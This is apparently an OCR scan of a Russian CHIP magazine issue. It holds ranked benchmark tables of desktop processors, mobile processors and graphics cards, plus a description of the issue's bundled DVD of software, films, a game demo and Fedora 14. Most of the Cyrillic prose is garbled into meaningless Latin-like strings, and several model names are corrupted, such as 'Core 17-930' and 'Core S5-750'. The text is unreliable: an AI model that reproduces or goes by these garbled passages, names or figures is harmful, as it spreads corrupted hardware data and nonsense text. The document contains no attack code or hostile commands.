Intel Core i7-875K 

Lynnfield 

1156 

4 

2933 

1024 

DM12500 

45 

774 

95 

1100 

138 

195 

56 

12 200 

3000 

86,5 

30,1 H 

5 

Intel Core i7-870 

Lynnfield 

1156 

4 

2933 

1024 

DM12500 

45 

774 

95 

1000 

138 

213 

58 

10 300 

2500 

82 

33,8 

6 

AMD Phenom II X61090T BE 

Thuban 

AM3 

6 

3200 

3072 

HT4000 

45 

904 

125 

922 

131 

215 

60 

8500 

2000 

79,2 

39,6 

► 7 

Intel Core i5-760 

Lynnfield 

1156 

4 

2800 

1024 

DM12500 

45 

774 

95 

1089 

138 

203 

72 

7000 

1700 

78,8 

47,8 

8 

Intel Core 17-930 

Bloomfield 

1366 

4 

2800 

1024 

QPI4800 

45 

731 

130 

937 

135 

229 

63 

9500 

2500 

77,2 

34,5 

9 

AMD Phenom II X6 1075T 

Thuban 

AM3 

6 

3000 

3072 

HT4000 

45 

904 

130 

947 

126 

228 

64 

7200 

1700 

76,7 

45,3 

10 

Intel Core 17-860 

Lynnfield 

1156 

4 

2800 

1024 

DM12500 

45 

774 

95 

898 

137 

230 

63 

9700 

2500 

76,5 

33,5 



















11 

Intel Core 17-920 

Bloomfield 

1366 

4 

2667 

1024 

QPI4800 

45 

731 

130 

879 

135 

240 

66 

10 800 

2200 

74,2 

29,2 

12 

AMD Phenom II X4 970 BE 

Deneb 

AM3 

4 

3500 

2048 

HT4000 

45 

758 

125 

956 

132 

221 

77 

6800 

— 

73,2 

45,7 

13 

AMD Phenom II X6 1055T 

Thuban 

AM3 

6 

2800 

3072 

HT4000 

45 

904 

125 

824 

123 

235 

69 

6500 

1600 

72 

47,1 

► 14 

AMD Phenom II X4 965 BE 

Deneb 

AM3 

4 

3400 

2048 

HT4000 

45 

758 

125 

933 

130 

224 

79 

5000 

— 

71,9 

61,1 

15 

Intel Core S5-750 

Lynnfield 

1156 

4 

2666 

1024 

DM12500 

45 

774 

95 

914 

137 

242 

78 

6600 

1700 

70,8 

45,6 

16 

Intel Core S5-670 

Clarkdale 

1156 

2 

3466 

512 

DM12500 

32 

382 

73 

1025 

124 

215 

95 

10 300 

2400 

70,4 

29 H 

17 

AMD Phenom II X4 955 BE 

Deneb 

AM3 

4 

3200 

2048 

HT4000 

45 

758 

125 

884 

129 

236 

84 

5500 

— 

68,8 

53,1 

18 

Intel Core I5-655K 

Clarkdale 

1156 

2 

3200 

512 

DM12500 

32 

382 

73 

983 

125 

217 

99 

7500 

1850 

68,8 

39 

19 

Intel Core 15-661 

Clarkdale 

1156 

2 

3333 

512 

DM12500 

32 

382 

87 

1089 

116 

244 

98 

7000 

1700 

68,3 

41,4 

20 

Intel Core 2 Quad Q9550 

Yorkfield 

775 

4 

2833 

12 288 

FSB1333 

45 

820 

95 

881 

126 

263 

79 

8600 

2300 

68,2 

33,7 



















21 

Intel Core 13-550 

Clarkdale 

1156 

2 

3200 

512 

DM12500 

32 

382 

73 

990 

120 

232 

103 

4200 

1100 

66,9 

67,7 

22 

Intel Core 15-650 

Clarkdale 

1156 

2 

3200 

512 

DM12500 

32 

382 

73 

1061 

116 

258 

101 

6100 

1500 

66,5 

46,3 

23 

Intel Core 2 Duo E8600 

Wolfdale 

775 

2 

3333 

6144 

FSB1333 

45 

410 

65 

1034 

112 

240 

126 

6600 

2200 

63,7 

41 

24 

Intel Core 2 Quad Q9400 

Yorkfield 

775 

4 

2666 

6144 

FSB1333 

45 

456 

95 

821 

114 

302 

87 

6300 

1600 

62,7 

42,3 

25 

AMD Athlon II X4 635 

Propus 

AM3 

4 

2900 

2048 

HT4000 

45 

300 

95 

779 

107 

274 

98 

3500 

900 

60,9 

73,9 

26 

Intel Core 2 Quad Q8300 

Yorkfield 

775 

4 

2500 

4096 

FSB1333 

45 

456 

95 

774 

106 

324 

94 

4700 

1250 

59,3 

53,6 

27 

AMD Athlon II X4 630 

Propus 

AM3 

4 

2800 

2048 

HT4000 

45 

300 

95 

754 

105 

282 

103 

3200 

850 

59,2 

78,6 

28 

Intel Core 2 Duo E8400 

Wolfdale 

775 

2 

3000 

6144 

FSB1333 

45 

410 

65 

930 

105 

264 

138 

5200 

1500 

59 

48,2 

29 

Intel Core 13-530 

Clarkdale 

1156 

2 

2933 

512 

DM12500 

32 

382 

73 

841 

110 

298 

117 

3800 

980 

58,1 

64,9 

► 30 

AMD Athlon II X3 435 

Rana 

AM3 

3 

2900 

1536 

HT4000 

45 

300 

95 

782 

106 

275 

132 

2400 

670 

56,5 

100 


] BbiCLUMM KJiacc (100-90) 

96 H CpeflHMM KJiacc (74-45) 

Bee oqeHKM b 6a/i/iax (MaKcmviyM - 


■ 100 ) 


I BbicoKMM KJiacc (89-75) 
HanajibHbm KJiacc (44-0) 
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Elite dojibuie TecTOB - 
Ha CHIP online 







[onTHMflnbHD^ ; 


1 

Intel Core i7-920XM 

Clarksfield 

4 

2000 

8192 

DM12500 

55 

98 

7955 

13 876 

— 

22 000 

35 000 

39 700 

10 000 

100 

15 

2 

Intel Core i7-820QM 

Clarksfield 

4 

1733 

8192 

DM12500 

45 

120 

7725 

13 670 

— 

21 500 

34 500 

22 500 

5700 

97,3 

25,8 M 

3 

Intel Core i7-720QM 

Clarksfield 

4 

1600 

6144 

DM12500 

45 

120 

7651 

13 220 

— 

21 000 

34 000 

14 400 

3700 

95,4 

39,5 

4 

Intel Core I7-620M 

Arrandale 

2 

2666 

3072 

DM12500 

35 

154 

7105 

13 950 

8500 

20 000 

33 000 

13 200 

3300 

95,1 

43 

5 

Intel Core i5-520M 

Arrandale 

2 

2400 

3072 

DM12500 

35 

154 

6803 

13 851 

8300 

19 000 

32 000 

11 000 

2800 

88 

47,7 

6 

Intel Core 2 Extreme QX9300 

Penrvn 

4 

2533 

12 288 

FSB1066 

45 

120 

7555 

12 255 

8100 

18 000 

30 000 

42 500 

10 800 

87,4 

12,3 

7 

Intel Core 2 Quad Q9100 

Penryn 

4 

2266 

12 288 

FSB1066 

45 

120 

7489 

12 127 

8050 

17 700 

29 500 

34 800 

8800 

84,9 

14,6 ■ 

8 

Intel Core i5-430M 

Arrandale 

2 

2266 

3072 

DM12500 

35 

154 

6695 

13 490 

8000 

17 600 

29 250 

8200 

2100 

83,5 

60,8 

9 

Intel Core 2 Duo T9900 

Penryn 

2 

3066 

6144 

FSB1066 

35 

154 

6922 

11 487 

8000 

17 400 

29 000 

21 700 

5500 

80,8 

22,2 H 

10 

Intel Core i7-640LM 

Arrandale 

2 

2133 

4096 

DM12500 

25 

216 

7027 

11 531 

7900 

17 200 

28 500 

13 500 

3500 

78,9 

34,9 


















11 

Intel Core i3-330M 

Arrandale 

2 

2133 

3072 

DM12500 

35 

154 

5591 

12 388 

7800 

17 000 

28 000 

7400 

1900 

73 

58,9 

12 

AMD Phenom II X4 N930 

Danube 

4 

2000 

2048 

HT1800 

35 

154 

6020 

13 481 

5750 

16 800 

27 500 

9500 

2400 

72,3 

45,4 

13 

Intel Core 2 Duo P9500 

Penryn 

2 

2533 

6144 

FSB1066 

25 

216 

6514 

10 631 

5700 

16 200 

27 000 

14 400 

3700 

71,2 

29,5 

14 

Intel Core 2 Duo SP9600 

Penryn 

2 

2533 

6144 

FSB1066 

25 

216 

6512 

10 551 

5600 

15 900 

26 500 

13 200 

3300 

70,8 

32 

15 

Intel Core 2 Duo P8700 

Penryn 

2 

2533 

3072 

FSB1066 

25 

216 

5866 

10 075 

5400 

15 300 

25 500 

8000 

2000 

68,1 

50,8 

16 

AMD Phenom II X3 N830 

Danube 

3 

2100 

1536 

HT1800 

35 

154 

5065 

11 370 

5200 

14 800 

24 500 

7800 

1900 

63,8 

48,8 

17 

Intel Core 2 Duo T8300 

Penryn 

2 

2400 

3072 

FSB800 

35 

154 

5805 

8533 

5100 

14 400 

24 000 

9800 

2500 

63,6 

38,7 

18 

Intel Core i7-620UM 

Arrandale 

2 

1066 

3072 

DM12500 

18 

300 

5076 

8205 

6500 

— 

— 

11 500 

3000 

60,6 

31,4 

19 

AMD Phenom II X4 P920 

Danube 

4 

1600 

2048 

HT1800 

25 

216 

4810 

10 755 

5050 

13 000 

22 000 

11 000 

2800 

58,4 

31,7 

20 

Intel Core 2 Duo T6500 

Penryn 

2 

2100 

2048 

FSB800 

35 

154 

4401 

6889 

4900 

11 600 

19 000 

3700 

900 

51,9 

83,7 


















21 

Intel Pentium Dual T4200 

Penryn 

2 

2000 

1024 

FSB800 

35 

154 

5006 

5460 

4700 

— 

— 

2900 

800 

48,6 

100 

22 

Intel Core i5-520UM 

Arrandale 

2 

1066 

3072 

DM12500 

18 

300 

3812 

7350 

6300 

— 

— 

10 000 

2500 

48 

28,6 M 

23 

Intel Core i3-330UM 

Arrandale 

2 

1066 

3072 

DM12500 

18 

300 

3642 

6500 

6100 

— 

— 

7400 

1900 

40,9 

33 

24 

Intel Core 2 Duo SU9600 

Penryn 

2 

1600 

3072 

FSB800 

10 

480 

3566 

4003 

4550 

— 

— 

11 900 

3000 

38,3 

19,2 

25 

Intel Core 2 Duo SU7300 

Penryn 

2 

1300 

3072 

FSB800 

10 

480 

3184 

3745 

4500 

— 

— 

7400 

1900 

33,9 

27,3 H 

26 

Intel Pentium SU4100 

Penryn 

2 

1300 

2048 

FSB800 

10 

480 

3121 

3715 

4300 

— 

— 

3700 

900 

31,9 

51,4 

27 

Intel Celeron-M 743 

Penryn 

1 

1300 

1024 

FSB800 

10 

480 

3014 

3500 

3700 

— 

— 

4100 

1000 

27,3 

39,7 

28 

AMD Athlon Neo MV-40 

Huron 

1 

1600 

512 

HT1800 

15 

360 

2150 

4951 

3500 

— 

— 

2000 

500 

27 

80,6 

29 

Intel Atom N450 

Pineview 

1 

1666 

512 

FSB667 

5,5 

800 

1497 

1070 

3100 

— 

— 

2500 

600 

11,8 

28,2 M 

30 

Intel Atom N270 

Diamondville 

1 

1600 

512 

FSB533 

2,5 

800 

1491 

1050 

3100 

— 

— 

1700 

400 

11,5 

40,4 warn 



BMflEOnPOUECCOPbl 





1 

AMD Radeon HD 5970 

2x 2048/GDDR5 

900 

900 

4800 

2x256 

3200 

40 

4300 

294 

62 

58 

70 

15 918 30 000 

5500 

100 

28,2 

2 

AMD Radeon HD 5970 

2x 1024/GDDR5 

725 

725 

4000 

2x256 

3200 

40 

4300 

294 

58 

48 

63 

13 482 20 000 

5000 

88,1 

37,3 

3 

NVIDIA GeForce GTX 480 

1536/GDDR5 

700 

1401 

3696 

384 

480 

40 

3200 

320 

48 

20 

63 

9177 14 000 

3700 

65 

58,4 

39,3 

4 

AMD Radeon HD 5870 

2048/GDDR5 

850 

850 

4800 

256 

1600 

40 

2154 

188 

40 

30 

41 

8830 12 300 

2800 

40,2 

( QflTHMAJlbHO ^ 

5 

AMD Radeon HD 6870 

1024/GDDR5 

900 

900 

4200 

256 

1120 

40 

1700 

151 

40 

30 

50 

7589 9000 

2250 

58 

54,6 


6 

NVIDIA GeForce GTX 470 

1280/GDDR5 

607 

1215 

3348 

320 

448 

40 

3200 

215 

39 

15 

51 

7257 9500 

2250 

51.7 

50.7 
49 
48,4 

46,1 

7 

AMD Radeon HD 5850 

1024/GDDR5 

725 

725 

4000 

256 

1440 

40 

2154 

170 

35 

26 

38 

7280 9000 

2000 

47,7 

8 

AMD Radeon HD 6850 

1024/GDDR5 

775 

775 

4000 

256 

960 

40 

1700 

127 

35 

25 

43 

6120 8000 

1700 

51,9 

9 

NVIDIA GeForce GTX 295 

2x 896/GDDR3 

576 

1242 

2016 

2x 448 

240 

55 

2800 

289 

47 

13 

0 

9221 18 500 

— 

22,2 H 

10 

NVIDIA GeForce GTX 465 

1024/GDDR5 

607 

1215 

3206 

256 

352 

40 

3200 

200 

33 

11 

41 

6082 7300 

1800 

42,6 

49,4 



















11 

AMD Radeon HD 5830 

1 024/GDDR5 

840 

840 

4400 

256 

1120 

40 

2150 

175 

28 

22 

30 

6548 7000 

1600 

42,1 

50,9 

12 

NVIDIA GeForce GTX 460 

768/GDDR5 

675 

1350 

3600 

192 

336 

40 

1950 

150 

31 

10 

42 

6015 6000 

1400 

41,4 

58,4 

13 

NVIDIA GeForce GTX 285 

1024/GDDR3 

648 

1476 

2484 

512 

240 

55 

1400 

184 

32 

19 

0 

6473 12 000 

2300 

36,8 

26 

fonTMMAJIbHO^ 

14 

AMD Radeon HD 5770 

1024/GDDR5 

850 

850 

4800 

128 

800 

40 

1040 

108 

27 

18 

26 

4711 4600 

1200 

35,9 

66,1 


15 

NVIDIA GeForce GTX 275 

896/GDDR3 

633 

1404 

2268 

448 

240 

55 

1400 

216 

29 

17 

0 

6176 8000 

2200 

33,8 

35,8 HI 

16 

AMD Radeon HD 4890 

1024/GDDR5 

850 

850 

3900 

256 

800 

55 

959 

157 

28 

20 

0 

4950 7000 

— 

31,9 

38,6 ^H 

17 

AMD Radeon HD 4870 

1024/GDDR5 

750 

750 

3600 

256 

800 

55 

959 

157 

26 

19 

0 

4605 6900 

1500 

29,8 

36,6 H 

18 

NVIDIA GeForce GTX 260 

896/GDDR3 

666 

1404 

2214 

448 

192 

65 

1400 

192 

27 

13 

0 

4868 5600 

1700 

28,9 

43,7 

19 

AMD Radeon HD 5750 

1024/GDDR5 

700 

700 

4600 

128 

720 

40 

1040 

86 

21 

14 

22 

3725 4200 

1000 

28,3 

57,1 

20 

AMD Radeon HD 5670 

1024/GDDR5 

775 

775 

4000 

128 

400 

40 

627 

61 

15 

10 

19 

2350 3800 

700 

20,4 

45,5 
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AMD Radeon HD 4770 

512/GDDR5 

750 

750 

3200 

128 

640 

40 

826 

90 

16 

11 

0 

3181 3500 

1000 

19 

46 

22 

NVIDIA GeForce GTS 250 

512/GDDR3 

760 

1836 

2300 

256 

128 

55 

330 

141 

17 

4 

0 

3128 3000 

900 

16,6 

46,9 

fonTMMAJlbHO^ 

23 

AMD Radeon HD 4830 

512/GDDR3 

575 

575 

1800 

256 

640 

55 

956 

80 

15 

9 

0 

2404 2800 

900 

15,9 

48,1 


24 

NVIDIA GeForce 8800 GTS 

640/GDDR3 

513 

1188 

1584 

320 

96 

90 

681 

143 

13 

4 

0 

2088 3600 

800 | 

12,7 

29,9 H 

25 

AMD Radeon HD 5570 

1024/GDDR3 

650 

650 

1600 

128 

400 

40 

627 

43 

9 

5 

13 

1579 2700 

600 

12,6 

39,5 

26 

NVIDIA GeForce GT 240 

1024/GDDR5 

550 

1340 

3400 

128 

96 

40 

727 

69 

12 

3 

0 

2149 3400 

600 

11.7 

29,1 M 

27 

NVIDIA GeForce 9600 GT 

512/GDDR3 

650 

1600 

1800 

256 

64 

65 

505 

95 

12 

4 

0 

1875 2600 

700 

11,5 

37,5 ^H 

28 

AMD Radeon HD 4670 

512/GDDR3 

750 

750 

2000 

128 

320 

55 

514 

59 

10 

7 

0 

1334 2400 

600 

10,4 

36,7 

29 

AMD Radeon HD 5550 

1024/DDR2 

550 

550 

800 

128 

320 

40 

627 

45 

5 

3 

5 

837 2300 

600 

6,7 

24,7 

30 

NVIDIA GeForce GT 220 

1024/DDR2 

525 

1100 

800 

128 

48 

40 

486 

58 

5 

1 

0 

668 2500 

500 

4,2 

14,2 ■ 
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**Mo6mibHbie npoqeccopbi b Sojibwi/iHCTBe cnynaeB He npoAaiarcfl OTAenbHo. 




JlHUeH3Mfl 
Ha aHTMBMpyCbl 

Bee Haiuero >KypHa/ia eweMe- 

C 51 HHO n 0 ^yHaf 0 T^MUeH 3 M 0 HHbie K/lfOHM 
A/i 5 i aKTMBaAMM AyHWMx amMBHpycHbix 
nporpaMM — N0D32, «AHTMBMpyca 
KacnepcKoro» m Dr.Web. 



flporpaMMa 

Mouse Extender 

3ia yTM^ma no3BO- 
/15ieT C03AaTb MeHK), 
Bcn/ibiBafomee pa- 
AOM c KypcopoM, 

B KOTOpOM MO>KHO 

Co 6 paTb 51 p /1 bl KM 
Macro Mcno/ib 3 ye- 
MblX npM/ 10 )KeHMM. 


Meouja 



Ha HaiueM flMCKe Bbi Bcenqa CM0>KeTe hsmtm MHTepecHbie 
hobmhkm M3 MMpa no, HOBbie B@pcMM nonynnpHbix npor- 
paMM, CBe>KMe flpaMBepbi, a Tame Habop ytmjimt flnn 
Windows m anbTepHaTMBHbix onepauMOHHbix CMCTeM. 


WINDOWS LIVE ESSENTIALS 2011 FULL 


freeware 


Bee HTO HyMHO 

YcTaHOBMTe naKeT Microsoft 
Windows Live Essentials, n Bam 
KOMnbfOTep 6yAeT ocHameH 
BceMM Heo6xoflMMbiMM b no- 
BceAHeBHOM pa6oTe m h CT py- 
MeHTaMM. Bbi nojiynnTe B03- 
M0>KH0CTb o6pa6aTbiBaTb c(do- 
TorpacjDMM, co3flaBaTb AOMawHMe 
C|DM/1bMbl, 06MeHMBaTbC51 MTHO- 
BeHHblMM C006lMeHM51MM M 3/ie- 
KTpOHHblMM nMCbMaMM, n0/lb30- 
BaTbCn COUI/ia/lbHblMM CeT51 MM 
m t. fl. «OoToa/ib6oM» ynopn- 


flOHMT Baiill/I pMCjapOBbie M30- 
6pa>KeHM5i, a 3aTeM ony6/iMKyeT 
MX B CeTM. «KMHOCTyAM51» no- 
MO>KeT peAaKTMpoBaTb BMAeo- 
c|DaM/ibi m co3AaBaTb c/iaMA-woy 
M3 c|DOTorpac|DMM. «noHTa» — 
3 to 3aMeHa Outlook Express, 
yMeiomaa pa6oTaTb c HecKO/ib- 
kmmm yneTHbiMM 3anMC5iMM na- 
pa/i/ie/ibHo. «PeAaKTop 6/io- 
tob» no3B0^5ieT ynpaB/mTb 
aKKayHTaMM copMa/ibHbix ce- 
TeM. floMMMO nepeHMC/ieHHoro 



b naKeTe npncyTCTByiOT eme 
HeCKO/lbKO yTMJIMT. 

■ 0C: Windows XP/Vista/7 

■ 5f3biK MHTept|]eiica: pyccKi/iM 

■ Cawr www.explore.live.com 

^ A. A A. 


3KCKJlK)3HBHbm COtjiT Ha DVD 


TRANSLATEIT! 6.0 CHIP EDITION 


Hmaw m nepeBOflii 



cneuBepcmi 


mn\m 

OAMH M3 JiyHLLIMX KOH- 
TeKCTHblX nepeBOAHMKOB 
Translatelt! Bee Haul n 
HMTaTe/iM no/iynaiOT b no- 
AapoK. nporpaMMa noMO- 
>KeT ocyiuecTB/iaTb nepe- 
boa Me>KAy pyccKMM, aHr- 
yiMMCKMM, HeMeAKMM M MCnaHCKMM fl3blK3MM. 
ripM 3TOM He npMAeTC51 OTBJieKaTbCfl OT HTeHMJl, 
BeAb ah/i OTo6pa>KeHM5i nepeBOAa c/iOBa ao- 
CTaTOHHo HaBecTM Ha Hero Kypcop. 

■ OC: Windows XPA/ista/7 

■ $l3biK MHTepcJjeiica: pyccxi/iM 

■ CaMT: www.translateit.ru 


SKYPE RECORDER CHIP EDITION 

KoHTponb pa3roBopoB' ^ 



cneuBepcMfi 


nporpaMMa Skype Re- 
corder 3anMCbiBaeT Ka>K- 
Abm pa3roBop m no3- 
BO/meT coxpaHMTb ero b 
noHTOBOM niAMKe Gmail. 
E/iaroAapa 3TOMy Bbi He 
noTepneTe hm oahoto 
M era6aMTa CBo6oAHoro MecTa Ha bmh- 
necTepe, a TaK)Ke CMO>KeTe npoc/iywaTb 
cocTOflBUJMMcn paHee pa3roBop M3 /no- 
6 om tohkm MMpa. 

■ OC: Windows XPA/ista/7 

■ flsbiK MHTeptJjeiica: pyccxi/iM 

■ CaMT: www.pistonsoft.com 


VKBOT 1.4.8 SPECIAL EDITION 


INTERNET ACCELERATOR 3.20 CE 


JlerxMM KomaKT 



cneuBepcmi 


YnpaB/mMTe CBoeM yneT- 
HOM 3anMCbK) «BKOHTaK- 
Te» M 3KOHOMbTe BpeM51 
npM Bbino/iHeHMM jmm- 
HblX AeMCTBMM C nOMOlAbK) 

VKBot. nporpaMMa no3BO- 
jmeT oahmm kjimkom npM- 
maiaaTb APY3eM b rpynnbi m Ha BCTpeHM, ot- 
MenaTb mx Ha BMAeo m cpoTorpacpM^x, cKaHMBaTb 
ayAMO- M BMAeopO/lMKM, a T3K)Ke CHMMaTb Bee 
OTMeTKM c npMmameHMM Ha BCTpenn n t. n. 


■ OC: Windows XPA/ista/7 

■ fl 3 biK MHTeptJjeMca: pyccxi/iM 

■ CaMT: www.vkbot.ru 


EbiCTpbiN UmepHeT 



cneitBepcMB 


3aAyMbmaeTecb o nepe- 
xoAe Ha 6o/iee ckopoct- 
HOM M AOpOTOM TapM(|DHblM 
n/iaH MHTepHeT-npoBaM- 
Aepa? Heo6a3aTe^bHOTpa- 

TMTb AGHbrM — MO>KHO 
B0Cn0/lb30BaTbC5l yTM/IM- 
TOM A/1/1 yCKOpeHMfl MHTepHeT-COeAMHeHMM 

Ashampoo Internet Accelerator, TeM 6o/iee hto 
BCeM H3LLIMM HMTaTe/lflM OHa AOCTaeTCfl b no- 
AapoK. noApo6HOCTM Ha DVD. 


■ OC: Windows XPA/ista/7 

■ flsbiK Mmep(|]eiica: pyccxi/iM 

■ Cam-: www.ashampoo.com 
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BpecTCKaa xpenocTb 

3tot cjDMjibM — npeKpacHoe naTpMOTMHecKoe 
m o6pa30Baie^bHoe kmho. Oh paccHmaH cko- 
pee Ha noflpocTKOByio ayflmopHK), ho paccKa- 
3biBaTb fleTAM npaBfly o bomhc — 6/iaropofl- 
Hoe h Hy>KHoe fle^o. 


3ejieHbiM tfioHapb 

rnaBHbm repoM noAynaeT 3HepreTMHecKoe 
KOJibpo cynepcMAbi OTyMMpafomero MHonAa- 
HeTAHMHa. Tenepb eMy npeflaom BOcnoAb- 
30BaTbCfl HOBbIMM Cn0C06H0CTAMM, HT06bl 
MCKOpeHMTb HeCnpaBefl^MBOCTb. 


KyHr-t|jy naHfla 2 

BOMHCTBeHHblM MMLUKa Tenepb A BAfleTCA Bomhom 
flpaKOHa m 3 aiMmAaeT Mi/ip Ha OTfle/ibHO b 3 atom 
T eppmopMM. OflHaKO 3 AOAeM He ApeM/ifOT: ohm 
XOTAT 3 aXBaTMTb BeCb KMTaM M yHMHTO>KMTb 
MCKyccTBO KyHr-c|Dy. 


HoBbie iirpbi + 

Need for Speed: Hot Pursuit 


fleMOBepcMii 

3KCKJ1I03MB 


6 ecruiaTHbie urpbi 


Ha DVD 


HaBepHoe, Mbi He norpeiuMM npoTMB MCTMHbi, ecAM CKa>KeM, hto HacTO- 
Amaa NFS, o6/iaflaiomafl mmaamoh3mm uokaohhmkob no BceMy MMpy, 
AOAWHa Bbim^fleTb TaK, Kax Hot Pursuit Most Wanted. HanoAHeHHbie 
aflpeHa/iMHOM 3ae3Abi no yAMpaM ropoAOB m CKopocTHbiM TpaccaM ne- 
peMewafOTCA c roHKaMM ot noAMpeMCKMX 3KMna>KeM. 1/lMeHHO ynacTMe 



no/iMpMM b urpe b CBoe BpeMA CAeAaAO cepMK) NFS 
nony/iapHOM. Tenepb >Ke EA B03po>KAaeTycneiuHbie 
ciapbie MAeu m BonAOiAaeT mx c npMMeHeHMeM ho- 
Bbix TexHOJiorMM. PeMeMK Hot Pursuit BbimAAMT 
Be/lMKOJienHO: TaKOrO K0AMHeCTB3 BOCXMTMTeAbHbIX 
npMpoAHbix neM3a>KeM, HaBepHoe, HeT hm b oahom 
M rpe noAo6Horo >KaHpa. Ho maBHoe — sto, KOHen- 
ho, ManiMHbi. Ohm KpacMBbie, AoporMe, HeBepoATHO 
6biapbie — m, k co>Ka/ieHMK), Hepa3pyiuaeMbie. 3 tot 
H eAoneT KOMneHCMpyeTCA cyMacweAweM amh3mmkom 
tohok npM Be/iMKO/ienHOM ynpaBAAeMOCTM 3 btomo- 
6macm. rioBepHy^ am MrpoK paHbiue mam no3>Ke, 
c ra30M mam TopMO>KeHMeM — b jiio6om cAynae 
OH BnMLLieTCA B nOBOpOT M nOAyHMT yAOBOJlbCTBMe 
ot roHKM. Tax 6bmo m bo mhotmx ApyrMx Mrpax 
CepMM NFS, OCHOBHafl >Ke M3K)MMHKa MMeHHO Hot 
Pursuit — B03M0>KH0CTb m rpaTb KaK 3a nO^MpeM- 
CKoro, TaK m 3a roHipMKa. 



OC Linux 

AMCTpn 6 yTMB 

CMCTeMbi Linux 
Fedora 14 


+10 nporpaMM 

k HeMy 


ApXMB 

SAeKTpoHHoe npid- 
AO>KeHMe coflep- 
>kmt npeAbifly- 
lamm HOMep CHIP 
b ((DopMaie PDF. 


Unux 

Fedora 


/ 14 



Mo 6 HflbHbl COCpT <0 M M y M1K3T DfKDB 


GMaH Calculator 1.00 

riporpaMMa noACHMTbiBaeT 3 a- 
TpaTbi Ha 3 /ieKTpMHecTBO, ra 3 , 
BO Ay M T. A- Hy>KHO TOAbKO 
BBeCTM CTOMMOCTb eAMHMpbl 

M 3 MepeHMFi pacxoAa pecypcoB. 

■ JlMueH3Mu: freeware 

■ OC: Windiws Mobile 



Snaptu 1.3.0 

3to npM/io>KeHMe npeAOcraBAAeT 
AOCTyn k Twitter, Facebook, Flickr, 
Picasa, Snaptu News m ApyrMM 
coAMa/ibHbiM npoeKTaM M3 eAM- 
hoto naKOHMHHoro MHTepcjDeMca. 
■ JlMueH3Mu: freeware 
i OC: Symbian 


Ha \ in n P° r P aMM 

fi/ n j I Unim Symbian 


OVD 


BMAeoypoKM 

Ka>KAbm Mec 5 iA Mbi 

pa3MeiAaeM Ha DVD 
BMAeoypoKM no pa 6 oie 
Photoshop, BMAeoo 630 - 
pbi TecroBOM Aa 6 opaio- 
pMM, a MHorAa m paOoTbi 
HaiiJMx Hmaie^eM. 



06^o>KKa DVD 

06AO>KKy 
DVD MO)KHO 
CKanaTb c caPiTa 

www.ichip.ru 

MAM CKOnMpO- 
BaTb c caMO- 
ro AHCKa. 
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HSU? COflEPJKAHME DVD 


«K0HTEK CT 7.0>> C HIP EDITION 

nOMOUIHUK-nOnilMOT 


cneuBepcwfl 


B OT/iMHMe ot aHa^oroB 
KOHTeKCTHbm nepeBOA- 
hmk «KoHTeKCT» npoBepa- 
eT Ka>Kfloe caobo cpa3y no 
Been flocTynHow 6a3e cao- 
BapeM, to ecTb Bbi MO>KeTe 
napaAAeAbHo pa6oiaTb c 
TeKCTaMM Ha HeCKOAbKMX A3blKaX. I1pn 3TOM 
pe3y^bTaTbi pa3Hbix CAOBapeu BbiAeAfliOTca 
cooTBeTCTByioiAMMH pBeTaMM. Rnn Ka>KAoro 
CAOBa npeflycMOTpeHbi TOAKOBaHMA, kommch- 
T3pnn, npHMepbi ynoTpe6/ieHMfl,TpaHCKpnnpMfl 
m MHoroe flpyroe, hto noMoraeT b M3yneHMM. 
TaK>Ke mo>kho npoc/iyujMBaTb npoM3Howe- 
HMe CAOB H cf)pa3. 

■ OC: Windows XP/Vista/7 

■ fl3biK MHTepcJjeiica: pyccKi/iw 

■ CaMT: www.dics.ru 



«FIREF0X n/lH)C+» 


Jlynwue o 6 pa 3 i|bi 



cneunaKei 


Mozilla Fi refox — ot- 
a m h h bi m 6pay3ep, OAHa- 
ko oh pacKpbmaeT cbom 
noieHAna/1 AMWb noc/ie 
ydaHOBKM paciiiMpeHMM. 
CHIP noATOTOBM/i noA- 
6opxy AyHwnx nAarnHOB 
AAA Firefox, otamhho aohoahaiolamx Apyr 
Apyra. flo6aBMB mx, Bbi CMO>KeTe 3KOHOMMTb 
Tpac|)MK, M36aBMTeCb OT H330MAMB0M CeTe- 
bom peoaMbi m CTaHeTe c 6o/ibLunM yAo6 - 
ctbom 3arpy>KaTb cjoan/ibi M3 PlHTepHeTa, 
YouTube m Aawe coqnaAbHon cejv\ «BKoh- 
Ta KTe». M 3 tmm cjDyHKAMOHa/ibHOCTb naxeTa 
He orpaHMHMBaeTCfl. 


■ OC: Windows XP/Vista/7 

■ fl3biK MHTeptJjeMca: pyccKi/iM 

■ CawT: www.download.chip.eu 


00V00 2.9 



BufleoKOH(|)epeiii|ND 


B OT/ii/iHi/ie ot nporpaMM 
Aaa o6MeHa coo6meHMA- 
MM, B KOTOpbIX (jDyHKUMfl 
BHA603B0HK0B npMCyTCT- 
ByeT b jiynweM CAynae b 
KanecTBe Aono/iHMTe/ib- 
hom, b 00V00 efi OTBeAeHa 
nepBOCTeneHHaa poAb. B k3>kaoh BMAeoKOH- 
c|DepeHAMM MoryTynacTBOBaTb ao wecm neAO- 
BeK, npHHeM Ka>KAOMy M3 hmx no3BOAAeTCA 
3aAaBaTb cboh HaapoMKM OTo6pa>KeHn^ tobo- 
paiAMx, onTMMa^bHbie Rnt\ ero MOHHTopa. Ha 
noMOiAb npnxoAHT yAo6Hbm BMpTyaAbHbm 
TpexMepHbiM A^cn^eM, Ha kotopom mo>kho 
pa3MeiAaTb okowkm cyHacmMKaMM 6eceAbi. 

■ OC: Windows XP/Vista/7 

■ fl3biK MHTeptJjeMca: aHrni/iMCKMM 

■ CawT: www.oovoo.com 


CnucoK nporpaMM CHIP DVD — cpeepa/ib 2011 


WINDOWS 

riponee 

TECT 

CucieMa 

Viewtimer 2.2 

CpaBHmeAbHbiM o63op 
nporpaMM aaa co3A3hma 
naHopaM 

Windows Live Essentials 
2011 Full 

Samsung PC Studio 1.5.1 

FreeFiteSync 3.9 

LINUX OS 

PanoramaStudio Pro 2.1.2 

BurnAware 3.1 Free 

Ancrpn6yTHB 

Autopano Giqa 2.5 Beta 

Moba Live CD 2.1 

Fedora 14 

PTGui 8.3.10 

VMWare 7.1.1 


Adobe Photoshop CS5 

CCLeaner 3.0 

flporpaMMbi 

STOIK Panorama Maker 2.1 

VistaSwitcher 1.1.3 

Pinta 0.5 


ERUNTqui 1.2.5 

qBittorrent 

CHIP VIDEO 

Haozip 2.1.5 

MLDonkey 3.0.6 

YpoKM no Photoshop 

Defraqqter 2.0 

Floola 6.1 


360Amiqo System Speedup 

TEA for Linux 28.1.3 

CEPBI1C 

101 ALL to CD DVD 

VLC media player 1.1.5 

CncieMa 

